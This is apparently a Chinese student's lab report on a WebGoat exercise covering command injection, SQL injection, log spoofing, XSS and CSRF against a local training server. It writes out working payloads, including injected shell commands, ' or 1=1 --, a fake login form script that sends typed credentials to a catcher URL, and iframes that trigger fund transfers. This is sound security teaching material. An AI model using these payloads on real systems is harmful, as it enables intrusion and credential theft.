2018-2019-2 20165325《网络对抗技术》Exp9 Web安全基础

2018-2019-2 20165325《网络对抗技术》Exp9 Web安全基础

实验概要

安装Webgoat

SQL注入攻击

XSS攻击

CSRF攻击


安装Webgoat

参考其他同学的安装流程,下载安装包:https://github.com/WebGoat/WebGoat/releases/tag/7.0.1

执行命令:java -jar webgoat-container-7.0-SNAPSHOT-war-exec.jar运行Webgoat

如图信息: Starting ProtocolHandler ["http-bio-8080"]表示启动成功。

在浏览器中输入http://localhost:8080/WebGoat

使用下方的admin账户进行登录:

登录后如图所示。


SQL注入攻击

1、进入网页点击Injection Flaws- Command Injection

右键inspect Element,找到一个标签,注入代码:"& netstat -an & ipconfig"

在点击view提交时候看到网页发生了变化:

注入的指令被执行,并且我们看到了效果,如上图所示。

2、数字型SQL注入(Numeric SQL Injection)

在左侧切换。

能看到,正常情况下点击go只是查询到一个这么一个信息,目标是注入之后能看到数据库中所有的信息。

这样的方法可能用于在访问网站时,非法地访问其他的数据。

成功以后是这样的:能看见所有的数据

注:在这里我发现一个问题,实际上我一开始是失败的,提示是这样:

可以看到失败了。

原因是之前成功了一次,由于之前我的环境有问题,我拷贝的是别人的虚拟机来完成本次实验。

可以看见上面的语句,当我们成功一次之后,可以看见网站上面显示:

Bet you can't do it again! This lesson has detected your successful attack and has now switched to a defensive mode.

emmmm他开启了防御模式。

我试着找这前后的html哪里不一样,我没发现明显的区别,可能是我找的不够仔细,但是我觉得,他应该是新加入了一个js来实现这个功能吧?(但是提交表单的地方没什么不一样的好像)

那么如果想再来一次就点击一下界面上面的restart lesson。

3、Log Spoofing

这提示说:Your goal is to make it like a username "admin" has succeeded into logging in

???

make it like ???

在输入框输入20165325%0d%0aLogin Succeeded !admin

如图所示,那么我想问这有什么用呢?

PS:回车0D%和换行符%0A

4、String SQL Injection

输入' or 1=1 --

成功了,(这样就成功了很明显他这个防护惨不忍睹)

然后他告诉我又开启防护模式了,应该和之前一样的。


XSS攻击

1、点击进入Cross-Site Scripting (XSS)

进去之后先看要求,首先是要求我们写一个登录认证界面,然后能用js显示并且传给后台。

相关的代码:

<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script> <form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> <input type="submit" name="login" value="login" onclick="hack()"> </form><br><br><HR>

代码如上,首次提交时会产生下面的登录框,如果有人不小心输入用户名密码并且提交,相关的信息会被js显示出来,当然js做的可怕一点可以直接记录下来用户名密码就行。

2、Stored XSS Attacks

输入<script>alert("20165325 attack succeed!");</script>

相对于来说比较简单的。


CSRF攻击

1、Cross Site Request Forgery

查看右边的表格src为322,menu为900

攻击成功之后会使用用户不可见的连接发送一个url,这里的情景是用别人的账号转走钱:

url:http://localhost:8080/WebGoat/attack?Screen=322&menu=900&transferFunds=5000

2、CSRF Prompt By-Pass

输入

<iframe src="attack?Screen=324&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=324&menu=900&transferFunds=CONFIRM"> </iframe>

效果如下:


问题回答

SQL注入攻击原理,如何防御

检查用户输入,避免特殊字符。写语句更复杂,数据库设置操作权限。

XSS攻击的原理,如何防御

核心应该还是检查输入,检查用户输入的内容要严格把关。

CSRF攻击原理,如何防御

cookie的管理应该严格,控制网站对cookie的使用权限,严格设置cookie的域。

原文地址:https://www.cnblogs.com/maxeysblog/p/10923939.html